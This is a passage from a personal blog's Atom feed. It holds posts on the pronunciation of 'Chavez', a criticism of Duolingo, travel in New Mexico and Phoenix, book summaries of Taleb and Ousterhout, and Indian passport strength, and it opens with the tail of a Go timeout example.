<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Fetching data from http://localhost:8080/block-forever
</span></span><span style="display:flex;"><span>Get <span style="color:#2aa198">&#34;http://localhost:8080/block-forever&#34;</span>: context deadline exceeded <span style="color:#719e07">(</span>Client.Timeout exceeded <span style="color:#719e07">while</span> awaiting headers<span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span><span style="color:#b58900">exit</span> status <span style="color:#2aa198">1</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/go" term="go" label="go"/></entry><entry><title type="html">The five different ways to pronounce the name "Chavez"</title><link href="https://ashishb.net/linguistics/one-name-five-pronunciations/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><link href="https://ashishb.net/linguistics/spanish-pronunciations-for-hindi-speakers/?utm_source=atom_feed" rel="related" type="text/html" title="Spanish Pronunciations for Hindi speakers"/><link href="https://ashishb.net/linguistics/indian-accent/?utm_source=atom_feed" rel="related" type="text/html" title="Indian accent"/><link href="https://ashishb.net/linguistics/sound-of-v/?utm_source=atom_feed" rel="related" type="text/html" title='Hindi: The missing "v" sound'/><id>https://ashishb.net/linguistics/one-name-five-pronunciations/</id><author><name>Ashish Bhatia</name></author><published>2022-06-04T19:40:19+00:00</published><updated>2022-06-04T19:40:19+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the fascinating ways the Spanish surname Chavez is pronounced across different regions. Explore unique pronunciations from the US to Spain in this insightful post!</blockquote><p>Latin script is the most recognized script in the world today. Most Western European languages, including some widely spoken ones like English, Spanish, and French use the same script with minor differences. The pronunciation variation, however, is a different matter altogether. Nothing illustrates it better than the popular Spanish last name Chavez. The name has three syllables. And is pronounced in 5 different ways!</p>
<ol>
<li>An east-coast American, and probably Britishers as well, due to the heavy French influence, pronounce &ldquo;ch&rdquo; as &ldquo;sh&rdquo;. Just like &ldquo;ch&rdquo; in &ldquo;machine&rdquo;. So, they would pronounce it as <strong>shaa-vay-z/शाव़ेज़ IPA:[ʃɑvez]</strong>.</li>
<li>Someone from areas like California or Texas, with significant Spanish influence, would pronounce it as <strong>chaa-vay-z/चाव़ेज़ IPA:[tʃɑvez]</strong>.</li>
<li>A Spanish speaker, 
<a href="/tag/latin-america/">south of the US border</a>, however, does not have /v/ or /z/ in his sound, so, he would pronounce it as <strong>chaa-way-s/चावेस IPA:[tʃɑves]</strong>.</li>
<li>A Spanish speaker from 
<a href="/tag/spain/">Spain, Europe</a>, has a different pronunciation of the z symbol altogether. He would pronounce it as <strong>chaa-way-th/चावेथ़ IPA:[tʃɑveθ]</strong>.</li>
<li>Finally, an English speaker from India will take the French influence for &ldquo;ch&rdquo; -&gt; &ldquo;sh&rdquo;. His native language won&rsquo;t have the 
<a href="/linguistics/sound-of-v/">labio-dental /v/</a> sound. Most Indic languages don&rsquo;t have /z/ either, but it is distinct enough to have 
<a href="/linguistics/hindi-english-phonemes-that-are-similar-but-distinct/">permeated</a> into the phonology over time. So, he would pronounce it as <strong>shaa-way-z/शावेज़ IPA:[ʃɑwez]</strong></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/><category scheme="https://ashishb.net/tag/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Duolingo is a waste of Time</title><link href="https://ashishb.net/linguistics/duolingo-is-not-useful/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/german-pronunciations-for-hindi-speakers/?utm_source=atom_feed" rel="related" type="text/html" title="German Pronunciations for Hindi speakers"/><link href="https://ashishb.net/linguistics/one-name-five-pronunciations/?utm_source=atom_feed" rel="related" type="text/html" title='The five different ways to pronounce the name "Chavez"'/><link href="https://ashishb.net/linguistics/written-script/?utm_source=atom_feed" rel="related" type="text/html" title="Writing Script matters as much as the spoken language"/><link href="https://ashishb.net/linguistics/avagraha-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Mac shortcut for typing Avagraha symbol"/><link href="https://ashishb.net/linguistics/sound-of-ch/?utm_source=atom_feed" rel="related" type="text/html" title='The sound of "ch"'/><id>https://ashishb.net/linguistics/duolingo-is-not-useful/</id><author><name>Ashish Bhatia</name></author><published>2022-05-21T05:50:48+00:00</published><updated>2022-05-21T05:50:48+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why Duolingo might not be the best tool for learning Spanish. Explore effective alternatives like LanguageTransfer and Pimsleur for better results!</blockquote><p>A few years back, I wasted time on Duolingo trying to learn Spanish. I no longer do that and you shouldn&rsquo;t. Here&rsquo;s why it&rsquo;s not effective and better alternatives.</p>
<ol>
<li>Language is primarily an <strong>oral activity</strong>. The written language evolved later, primarily, for bureaucracy and tax collection. Any app that emphasizes the written aspect first is splitting your learning efforts.</li>
<li>The English and Spanish <strong>pronunciations</strong> are different. Duolingo leaves it as guesswork for you to figure out. In fact, despite doing 1000+ practice sessions (and ~100 lessons) on Duolingo, I could not figure out how was &ldquo;hablé&rdquo; supposed to be pronounced differently from &ldquo;hable&rdquo;.</li>
<li>Duolingo teaches you the <strong>same class of words</strong> in one lesson. For example, all animals in one lesson, all food items in another, and all family relatives&rsquo; names in another. And that&rsquo;s confusing as hell since you start mixing them. Even worse is how these categories are fairly bookish and meaningless for a traveler, do you care about the grandmother (that&rsquo;s Abuela!) of the tienda owner?</li>
<li>Duolingo won&rsquo;t help you with <strong>conversational fluency</strong>. One of the most important activities a traveler has to do is ask the price for things/services he is going to buy. The numbers lessons are less important than learning the Spanish word for a grandmother!</li>
<li>Duolingo seems to teach some <strong>weird academic style</strong>. For example, in Spanish, you don&rsquo;t say &ldquo;Yo quiero&rdquo; for &ldquo;I want&rdquo;, you say &ldquo;Quiero&rdquo;. Thanks to different verbs, the pronouns I/you/they are mostly implicit. Duolingo somehow doesn&rsquo;t get that.</li>
<li>Duolingo doesn&rsquo;t teach you any <strong>language transfer</strong> at all. For example, words like metal, ideal, and most words ending in -al are of Latin origin and can be used as-is in Spanish. Similarly, words ending with -tion can be made into Spanish by a simple transformation to &ldquo;-cion&rdquo;. So, &ldquo;Application -&gt; applicación&rdquo;. I haven&rsquo;t seen that in Duolingo either. Some consonant heavy word starts like Spain become Spanish by adding &ldquo;e&rdquo; to the beginning. And Spanish hates useless repeated alphabets, for example, &ldquo;tennis -&gt; tenis&rdquo;. These rules save a lot of time. And Duolingo doesn&rsquo;t teach you these insights at all.</li>
<li>Duolingo won&rsquo;t tell you <strong>alternatives</strong>. For example, &ldquo;I want it&rdquo; -&gt; &ldquo;Yo quiero lo&rdquo; or &ldquo;Yo lo quiero&rdquo; are both acceptable as word order is more flexible in Spanish than in English.</li>
</ol>
<p>So, if not Duolingo then what? I would recommend   
    
    
<a href="https://www.languagetransfer.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">LanguageTransfer</a> an excellent resource for transferring English language rules to Spanish. And then   
    
    
<a href="https://www.pimsleur.com/learn-spanish-latin-american?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pimsleur</a>. The actual audiobooks for Pimsleur are expensive, so, see if you can borrow them from your local library.</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Visiting Shakespeare Ghost town in Lordsburg New Mexico</title><link href="https://ashishb.net/travel/lordsburg-new-mexico/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><link href="https://ashishb.net/travel/santa-fe/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Santa Fe"/><link href="https://ashishb.net/travel/las-cruces-and-el-paso/?utm_source=atom_feed" rel="related" type="text/html" title="A day visit to Las cruces and El Paso"/><link href="https://ashishb.net/travel/carlsbad-cavern/?utm_source=atom_feed" rel="related" type="text/html" title="A visit to Carlsbad Cavern"/><id>https://ashishb.net/travel/lordsburg-new-mexico/</id><author><name>Ashish Bhatia</name></author><published>2022-05-08T16:00:21+00:00</published><updated>2022-05-08T16:00:21+00:00</updated><content type="html"><![CDATA[<blockquote>Visiting Shakespeare Ghost town in Lordsburg New Mexico. A hidden gem of a ghost town with a 2-hour informative tour.</blockquote><p>Driving from 
<a href="/travel/phoenix-arizona/">Phoenix</a>, Arizona to 
<a href="/travel/las-cruces-and-el-paso/">El Paso</a>, Texas.
Lordsburg is a small town to stop over for a night.
And here, we came across this hidden gem of a   
    
    
<a href="https://www.shakespeareghostown.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ghost town</a>.
It is only 7$ per person. The tour guide, a native of Ohio, who married the daughter of the owner,
lives in this abandoned ghost town. He carries guns for the critters as there are tons of rattlesnakes around.</p>
<p>The tour is about 2-hours. It is highly informative and I would highly recommend this tour if you have a few hours to spare.</p>
<figure>
    
    <a href="shakespeare-ghost-town-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="shakespeare-ghost-town-1-1024x768.jpg"
         alt="Ruins of old stone buildings with weathered wooden roofs in a desert landscape, representing a ghost town" width="900"/> </a>
</figure>

<figure>
    
    <a href="shakespeare-ghost-town-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="shakespeare-ghost-town-2-1024x768.jpg"
         alt="A landscape-oriented photograph of an old ghost town, labeled &#39;Shakespeare Ghost Town&#39; displaying several dilapidated wooden structures under a clear blue sky, surrounded by dry vegetation" width="900"/> </a>
</figure>

<figure>
    
    <a href="shakespeare-ghost-town-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="shakespeare-ghost-town-3-1024x768.jpg"
         alt="Several dilapidated wooden structures stand under a clear blue sky, surrounded by dry vegetation, depicting a deserted, rustic setting" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/new-mexico" term="new-mexico" label="new-mexico"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">The Bed of Procrustes by Nassim Nicholas Taleb</title><link href="https://ashishb.net/book-summary/the-bed-of-procrustes/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/the-black-swan/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Black Swan by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/skin-in-the-game/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Skin in the game by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/fooled-by-randomness/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Fooled by Randomness by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/one-mans-view-of-the-world/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One Man's View of the World by Lee Kuan Yew"/><id>https://ashishb.net/book-summary/the-bed-of-procrustes/</id><author><name>Ashish Bhatia</name></author><published>2022-05-01T07:30:04+00:00</published><updated>2022-05-01T07:30:04+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the thought-provoking insights of Taleb&rsquo;s &ldquo;The Bed of Procrustes&rdquo;—a collection of quotes exploring human categorization and its limitations. Dive in!</blockquote><p>The Bed of Procrustes is a short book consisting of quotes by Taleb. Unlike 
<a href="/book-summary/the-black-swan/">his</a> 
<a href="/book-summary/skin-in-the-game/">other</a> 
<a href="/book-summary/fooled-by-randomness/">books</a>, this book is mostly a collection of quotes.</p>
<p>Procrustes used to stretch/amputate his guests who wouldn&rsquo;t fit on his bed.
Similarly, when our minds need to reduce information, we are more likely to try to squeeze a phenomenon into the Procrustean bed of a crisp and known category (amputating the unknown), rather than suspend categorization, and make it tangible.
That&rsquo;s the central theme of this book.</p>
<ol>
<li>Pharmaceutical companies are better at inventing diseases that match existing drugs, rather than inventing drugs to match existing diseases.</li>
<li>Restaurants get you in with food to sell you liquor; religions get you in with belief to sell you rules (e.g., avoid debt)</li>
<li>The three most harmful addictions are heroin, carbohydrates, and a monthly salary.</li>
<li>They will envy you for your success, for your wealth, for your intelligence, for your looks, for your status—but rarely for your wisdom.</li>
<li>We call narcissistic those individuals who behave as if they were the central residents of the world; those who do the same in a set of two we call lovers or, better, “blessed by love.”</li>
<li>Decline starts with the replacement of dreams with memories and ends with the replacement of memories with other memories.</li>
<li>True humility is when you can surprise yourself more than others; the rest is either shyness or good marketing.</li>
<li>Men destroy each other during the war; and themselves during peacetime.</li>
<li>Nation-states like war; city-states like commerce; families like stability; and individuals like entertainment.</li>
<li>Education makes the wise slightly wiser, but it makes the fool vastly more dangerous.</li>
<li>Skills that transfer: street fights, off-path hiking, seduction, broad erudition.
Skills that don’t transfer: school, games, sports, laboratory—what’s reduced and organize</li>
<li>Writers are remembered for their best work, politicians for their worst mistakes, and businessmen are rarely remembered.</li>
<li>Regular minds find similarities in stories (and situations); finer minds detect differences.</li>
<li>The fool views himself as more unique and others more generic; the wise views himself as more generic and others more unique.</li>
<li>Wit seduces by signaling intelligence without nerdiness.</li>
<li>In a crowd of a hundred, 50 percent of the wealth, 90 percent of the imagination, and 100 percent of the intellectual courage will reside in a single person—not necessarily the same one.</li>
<li>Robust is when you care more about the few who like your work than the multitude who dislike it (artists); fragile is when you care more about the few who dislike your work than the multitude who like it (politicians).</li>
<li>One of the failures of “scientific approximation” in the nonlinear domain comes from the inconvenient fact that the average of expectations is different from the expectation of averages.</li>
<li>In poor countries, officials receive explicit bribes; in D.C. they get the sophisticated implicit, unspoken promise to work for large corporations.</li>
<li>In the past, only some of the males, but all the females were able to procreate. Equality is more natural for females.</li>
<li>Our minds need to reduce information, we are more likely to try to squeeze a phenomenon into the Procrustean bed of a crisp and known category (amputating the unknown), rather than suspend categorization, and make it tangible</li>
<li>Many philistines reduce my ideas to opposition to technology when in fact I am opposing the naïve blindness to its side effects—the fragility criterion. I’d rather be unconditional about ethics and conditional about technology than the reverse.</li>
<li>Social media are severely antisocial, health foods are empirically unhealthy, knowledge workers are very ignorant, and social sciences aren’t scientific at all.</li>
<li>The costs of specialization: architects build to impress other architects; models are thin to impress other models; academics write to impress other academics; filmmakers try to impress other filmmakers; painters impress art dealers, but authors who write to impress book editors tend to fail.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/taleb" term="taleb" label="taleb"/></entry><entry><title type="html">A day in Phoenix Arizona</title><link href="https://ashishb.net/travel/phoenix-arizona/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><link href="https://ashishb.net/travel/hiking-natural-bridges-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Natural Bridges National Monument"/><link href="https://ashishb.net/travel/antelope-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="A trip to Antelope Canyon"/><link href="https://ashishb.net/travel/grand-canyon/?utm_source=atom_feed" rel="related" type="text/html" title="Rim-2-Rimember: Day hiking through Grand Canyon"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><id>https://ashishb.net/travel/phoenix-arizona/</id><author><name>Ashish Bhatia</name></author><published>2022-04-17T16:00:39+00:00</published><updated>2022-04-17T16:00:39+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the charm of Phoenix with a tour of Wrigley&rsquo;s Mansion, explore vibrant Roosevelt Street, hike at Papago Park, and visit the fascinating Pueblo Grande Museum!</blockquote><p>We started with the   
    
    
<a href="https://wrigleymansion.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wrigley&rsquo;s Mansion</a>.
The mansion of the famous Wrigley&rsquo;s chewing gum.
The self-guided tour is free. And the paid tour costs 17$.
Then head to Roosevelt street, the downtown area of Phoenix.
There are lots of eateries and art galleries here.
I would highly recommend having lunch here.</p>
<figure>
    
    <a href="wrigley-mansion.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="wrigley-mansion.jpg"
         alt="Wrigley&#39;s Mansion" width="900"/> </a>
</figure>

<p>Afterward, we drove to Papago Park. Phoenix Zoo is located here.
Our goal was to do a small hike to   
    
    
<a href="https://www.theoutbound.com/arizona/hiking/hike-to-the-hole-in-the-rock-at-papago-park?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hole in the Rock</a>.</p>
<figure>
    
    <a href="hole-in-the-rock-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="hole-in-the-rock-1024x768.jpg"
         alt="A large rock formation with a distinctive hole near the top, set in a desert landscape under a clear blue sky." width="900"/> </a>
</figure>

<p>Then we went to the   
    
    
<a href="https://www.phoenix.gov/parks/arts-culture-history/pueblo-grande?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pueblo Grande Museum</a>. The open-air portion of the museum is open.
The inside was still closed due to COVID-19.
It has some good Adobe (mud) buildings if you enjoy archeology.</p>
<figure>
    
    <a href="pueblo-grande-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="pueblo-grande-1024x768.jpg"
         alt="Pueblo Grande" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/arizona" term="arizona" label="arizona"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Book Summary: A philosophy of software design by John K Ousterhout</title><link href="https://ashishb.net/book-summary/a-philosophy-of-software-design/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/one-mans-view-of-the-world/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One Man's View of the World by Lee Kuan Yew"/><link href="https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary of Sum: Forty Tales From The Afterlives"/><link href="https://ashishb.net/book-summary/magicians-of-the-god/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary - Magicians of the God by Graham Hancock"/><link href="https://ashishb.net/book-summary/the-bed-of-procrustes/?utm_source=atom_feed" rel="related" type="text/html" title="The Bed of Procrustes by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><id>https://ashishb.net/book-summary/a-philosophy-of-software-design/</id><author><name>Ashish Bhatia</name></author><published>2022-04-02T16:00:31+00:00</published><updated>2022-04-02T16:00:31+00:00</updated><content type="html"><![CDATA[<blockquote>Unlock insights from Stanford&rsquo;s CS190 course on system design: simplify complexity, improve documentation, and enhance code and testing for robust software solutions</blockquote><p>The   
    
    
<a href="https://amzn.to/3Hlr3Rg?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> summarizes the teachings of John from the course   
    
    
<a href="https://web.stanford.edu/~ouster/cgi-bin/cs190-winter21/index.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CS190</a> that he teaches at Stanford.</p>
<blockquote>
<p>Good system designers get to spend a larger fraction of time in the design phase. Poor designers spend most of their time chasing bugs in complicated and brittle code.</p></blockquote>
<h3 id="complexity">Complexity</h3>
<ul>
<li>Problem decomposition is the central design task that programmers face every day. The greatest limitation in writing software is our ability to understand the systems we are creating.</li>
<li>Eventually, everyone reaches a point where your first design ideas are no longer good enough; if you want to get great results, you have to consider a second possibility, or perhaps a third, no matter how smart you are.</li>
<li>Complexity can be reduced by eliminating special cases or consistently using identifiers. The second approach to complexity is to encapsulate it so that programmers can work on a system without being exposed to all of its complexity at once. Isolating complexity in a place where it will never be seen is almost as good as eliminating the complexity.</li>
<li>The waterfall model rarely works well for software. Incremental development means that software design is never done.</li>
<li>Tactical programming makes it nearly impossible to produce a good system design. Typically, other engineers must clean up the messes left behind by the tactical tornado, which makes it appear that those engineers (who are the real heroes) are making slower progress than the tactical tornado.</li>
<li>Your job as a developer is not just to create code that you can work with easily, but to create code that others can also work with easily. Your primary goal must be to produce a great design, which also happens to work. This is strategic programming.</li>
<li>In general, the lower layers of a system tend to be more general-purpose and the upper layers more special-purpose.</li>
<li>In general, developers tend to break up methods too much. Splitting up a method introduces additional interfaces, which add to the complexity. It also separates the pieces of the original method, which makes the code harder to read if the pieces are related. You shouldn’t break up a method unless it makes the overall system simpler.</li>
</ul>
<h3 id="handling-errors-and-exceptions">Handling errors and exceptions</h3>
<ul>
<li>Exception aggregation works best if an exception propagates several levels up the stack before it is handled; this allows more exceptions from more methods to be handled in the same place. This is the opposite of exception masking: masking usually works best if an exception is handled in a low-level method.</li>
<li>When exception handling code fails, it’s difficult to debug the problem, since it occurs so infrequently.</li>
<li>The Unix operating system defines file deletion more elegantly. In Unix, if a file is open when it is deleted, Unix does not delete the file immediately.</li>
</ul>
<h3 id="documentation">Documentation</h3>
<ul>
<li>Provide precision in comments by clarifying the exact meaning of the code. Other comments provide information at a higher, more abstract, level than the code; these comments provide intuition. The comment that describes a method or variable should be simple yet complete. If you find it difficult to write such a comment, that’s an indicator that there may be a problem with the design of the thing you are describing.</li>
<li>If the information in a comment is already obvious from the code next to the comment, then the comment isn’t helpful. One example of this is when the comment uses the same words that make up the name of the thing it is describing.</li>
<li>If documentation is duplicated, it is more difficult for developers to find and update all of the relevant copies.</li>
</ul>
<h3 id="writing-code">Writing code</h3>
<ul>
<li>Once a codebase turns to spaghetti, it is nearly impossible to fix. Google and VMware grew up around the same time as Facebook, but both of these companies embraced a more strategic approach. A developer should not need to understand the implementations of modules other than the one he or she is working on.</li>
<li>The greater the distance between a name’s declaration and its uses, the longer the name should be.</li>
<li>Adding code can sometimes simplify the interface. For example, adding garbage collection to a system shrinks its overall interface, since it eliminates the interface for freeing objects.</li>
<li>Imagine two classes one writing to a file and one reading from it. Even if neither class exposes that information in its interface, they both depend on the file format: if the format changes, both classes will need to be modified. Back-door leakage like this is more pernicious than leakage through an interface because it isn’t obvious.</li>
<li>Information hiding can often be improved by making a class slightly larger. Whenever possible, classes should do the right thing without being explicitly asked. Defaults are an example of this.</li>
<li>It is more important for a module to have a simple interface than a simple implementation. Configuration parameters are an example of moving complexity upwards instead of down. When deciding whether to combine or separate, the goal is to reduce the complexity of the system as a whole and improve its modularity. For example, in Java, a combined BufferedInputStream + FileInputStream class would have been better. It might provide methods to disable or replace the default buffering mechanism, but most users would not need to learn about them.</li>
<li>The module’s functionality should reflect your current needs, but its interface should not. If a system contains adjacent layers with similar abstractions, this is a red flag that suggests a problem with the class decomposition.</li>
<li>A pass-through method does nothing except pass its arguments to another method, usually with the same API as the pass-through method. This typically indicates that there is not a clean division of responsibility between the classes. Eliminating pass-through variables can be challenging. One approach is to see if there is already an object shared between the topmost and bottommost methods. Otherwise, all those variables should be combined into a single context variable. Without discipline, a context can turn into a huge grab-bag of data that creates nonobvious dependencies throughout the system. Contexts may also create thread-safety issues; the best way to avoid problems is for variables in a context to be immutable. Unfortunately, I haven’t found a better solution than contexts.</li>
<li>Consistency creates cognitive leverage: once you have learned how something is done in one place, you can use that knowledge to immediately understand other places that use the same approach. The best way to enforce coding conventions is to write a tool that checks for violations and makes sure that code cannot be committed to the repository unless it passes the checker.</li>
<li>Developing incrementally is generally a good idea, but the increments of development should be abstractions, not features.</li>
</ul>
<h3 id="testing">Testing</h3>
<ul>
<li>Without a test suite, it’s dangerous to make major structural changes to a system. As a result, developers avoid refactoring in systems without good test suites; they try to minimize the number of code changes for each new feature or bug fix, which means that complexity accumulates and design mistakes don’t get corrected.</li>
<li>The problem with test-driven development is that it focuses attention on getting specific features working, rather than finding the best design.</li>
<li>Before making any changes, measure the system’s existing behavior. This serves two purposes. First, the measurements will identify the places where performance tuning will have the biggest impact. The second purpose of the measurements is to provide a baseline so that you can re-measure performance after making your changes to ensure that performance improved.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Why Indian Passport remains weak</title><link href="https://ashishb.net/travel/why-indian-passport-remains-weak/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/gorkhaland-west-bengal-and-sikkim/?utm_source=atom_feed" rel="related" type="text/html" title="5 days in Gorkhaland (West Bengal) and Sikkim"/><link href="https://ashishb.net/travel/kerala/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Kerala - Munnar, Thekkady, and Aleppey"/><link href="https://ashishb.net/travel/traveling-on-indian-passport/?utm_source=atom_feed" rel="related" type="text/html" title="Traveling on Indian passport"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/short-stories/the-clash-of-expectations/?utm_source=atom_feed" rel="related" type="text/html" title="The clash of cultural expectations"/><id>https://ashishb.net/travel/why-indian-passport-remains-weak/</id><author><name>Ashish Bhatia</name></author><published>2022-03-14T02:05:13+00:00</published><updated>2022-03-14T02:05:13+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the truth behind the weak Indian passport in Henley’s 2021 Index, and why wealth and population size impact visa-free access worldwide.</blockquote><p>Indian passport remains weak, as per Henley&rsquo;s 2021 index,
India has visa-free access to only   
    
    
<a href="https://www.henleypassportindex.com/assets/2021/Q1/HENLEY_PASSPORT_INDEX_2021_Q1_INFOGRAPHIC_GLOBAL_RANKING_201209_1.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">59 countries</a> and that excludes the USA, Canada, Australia, New Zealand,
and the Schengen zone.</p>
<p>Before ruminating on that, it is worth asking why China,
which is 5 times richer than India in terms of per capita GDP is not doing significantly better either.
The island countries of the 
<a href="/travel/caribbean-trip-guide/">Caribbean</a> with a population of less than a million have better access than China.
Even war-torn Venezuela has a better passport including visa-free access to 
<a href="/tag/europe/">Western Europe</a></p>
<p>I believe that two dominating factors decide the power of a country&rsquo;s passport.
First, how rich is the country? And second, how big is its population?</p>
<p>Humans are status-minded creatures. Consider, for example, immigration violations in the US,
there is little concern in the US around their richer Canadian neighbor who   
    
    
<a href="https://www.ctvnews.ca/canada/more-canadians-in-u-s-overstayed-visas-than-any-other-foreigners-last-year-report-1.4047809?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">overstays</a>.
While the poorer immigrants from the south are heavily debated.</p>
<p>The second even more crucial aspect is population.
The population of Venezuela is only 30 million.
It is a fraction of the population of India or China.
So, numerically how many illegal immigrants or visa violators in Europe will be from Venezuela than, say, from India?
That&rsquo;s why requiring visas for Indians or Chinese nationals but not say Venezuelans is an easy way to minimize
immigrant authorities&rsquo; workload.</p>
<p>Lastly, many countries both around Europe and in the Americas have become more creative.
Last I checked, about 30 countries gave visa-free access to Indians.
if they held a multi-entry 
<a href="/tag/usa/">US visa</a>, and about 10 non-Schengen countries accepted 
<a href="/travel/traveling-on-indian-passport/">multi-entry Schengen visas</a>
as a substitute for their national visa.
Canada, for example, allows US green card holders to enter visa-free.
These policies reduce the likelihood of encountering visa violators.
I remain optimistic over time more countries would give visa-free access to US/Schengen visa holders.
The likelihood of the Indian passport improving, given how little the Chinese passport has improved despite
its economic progress, remains low.</p>
<iframe loading="lazy"
        src="https://www.google.com/maps/d/embed?mid=1C7aXW81NVGUcBqQuzr7U6vxrIFU"
        width="900"
        height="480">
</iframe>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Low code</title><link href="https://ashishb.net/tech/some-thoughts-on-low-code/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/social-media-and-burglar-bars/?utm_source=atom_feed" rel="related" type="text/html" title="Social media and burglar bars"/><link href="https://ashishb.net/tech/three-reasons-why-i-cant-stand-package-json/?utm_source=atom_feed" rel="related" type="text/html" title="5 reasons package.json doesn't scale"/><link href="https://ashishb.net/tech/why-i-prefer-obsidian-for-taking-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Why I prefer Obsidian for taking notes"/><link href="https://ashishb.net/tech/dont-buy-google-fi-with-a-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Don't buy Google FI SIM with a phone"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/some-thoughts-on-low-code/</id><author><name>Ashish 